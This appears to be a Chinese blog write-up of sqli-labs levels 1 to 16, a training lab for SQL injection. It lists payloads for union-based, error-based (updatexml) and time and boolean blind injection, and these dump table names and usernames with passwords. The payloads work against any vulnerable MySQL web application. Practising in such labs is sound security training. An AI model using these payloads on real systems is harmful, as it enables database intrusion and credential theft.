sqli-labs(1~16)

sqli-labs第1关

1.提示输入数字值的ID作为参数,因此输入?id=1

输入不同数字得到回显不同,证明输入内容进入数据库中;判断sql语句是否是拼接,且是字符型还是数字型:?id=1'

2.联合注入

order by判断数列,当列数为4是出错,证明有三列。

判断完数列后 就可以联合查询进行注入

?id=-1'union select 1,2,3--+

查询字段、查询数据

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

到两个敏感字段username、password

?id=-1') union select 1,2,group_concat(username ,0x3a,password) from users--+

sqli-labs第2关

?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1') union select 1,2,group_concat(username ,0x3a,password) from users--+

sqli-labs第3关

输入?id=1' 得到回显,与第一二关有所不同sql语句是单引号字符型且有括号,闭合单引号且也要加上括号


?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,0x3a,password) from users--+

sqli-labs第4关

?id=1' 、?id=1"

双引号字符型且有括号

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,0x3a, password) from users--+

sqli-labs第5关

采用单引号闭合

?id=1' order by 3--+ ……

使用联合注入没有回显,只有对错误页面显示;选择报错注入

?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- +
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- +
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)--+

sqli-labs第6关

同第五关一样使用联合注入没有回显,只有对错误页面显示,不同的是使用双引号闭合;选择报错注入

?id=1" and updatexml(1,concat('~',(select user()),'~'),1)--+

?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)   ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+

sqli-labs第7关

输入?id=1' 时报错,但无法看到报错信息。因为单引号破坏了他原有语法结构。

输入id=1'--+时报错,根据前面题目,输入id=1')--+发现依然报错,输入id=1'))--+,发现页面显示正常。尝试报错注入,仍然无回显

所以本关sql语句有语法错误或者参数值在表中查询不到返回的页面是相同的,并且与参数值正确且无语法错误时不同,应该采用布尔盲注。

sqli-labs第8关

输入?id=1'等后发现页面不回显,判断是否有延时

id=1’ and sleep(5) --+  发现确实有延时,可以用时间盲注

爆库长 ?id=1’ and if(length(database())=8,sleep(5),null)–+

爆库名:从左边第一个字母开始,判断库名第一个字母是不是s

?id=1’ and if(left(database(),1)=‘s’,sleep(5),null)–+

?id=1’ and if(left(database(),2)=‘se’,sleep(5),null)–+

sqli-labs第9关

发现不管输入什么页面显示的东西都是一样的,使用时间注入,if(a,sleep(5),1)如果a结果是真的,那么执行sleep(5)页面延迟5秒,如果a的结果是假,执行1,页面不延迟。

输入?id=1' and if(1=1,sleep(5),0)--+找到闭合,

 ?id=1'and if(length((select database()))>9,sleep(5),1)--+

sqli-labs第10关

第十关和第九关一样发现不管输入什么页面显示的东西都是一样的,只需要将单引号换成双引号。

sqli-labs第11关

看到了登录界面

直接在输入框内输入1'

发现报错,根据报错信息可以推断该sql语句username='  ' and password='  ',构造一个恒成立的sql语句1' or 1=1#,得到回显order by判断数列,

使用联合注入就可以获取数据库信息:1'union select 1,2#  

sqli-labs第12关

在username输入1、1'无反应,输入1"报错

通过回显的报错信息可知,sql语句是双引号且有括号。

payload: 1") union select 1,2#

sqli-labs第13关

前面步骤与上一关类似闭合为单引号+括号“ ' ) ”,但联合查询无回显,尝试报错注入1 ')and updatexml(1,concat('~',(select user()),'~'),1)#,爆出数据库名

sqli-labs第14关

这关回显sql语法错误,并且闭合是",和上一关一样,这关联合查询不显示,可以用时间盲注

sqli-labs第15关

这关参数中不管有单引号还是有双引号都不会有sql语法错误信息了,使用时间盲注。

判断是否有延时1’ and sleep(5) #

爆库长:admin’ and if(length(database())=8,sleep(5),null) #

爆库名:从左边第一个字母开始,判断库名第一个字母是不是s      admin’ and if(left(database(),1)=‘s’,sleep(5),null) #

爆表名:admin’ and if(left((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1)=‘e’ ,sleep(5),null)#

sqli-labs第16关

这关与第15关相比就闭合不一样,闭合是")

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值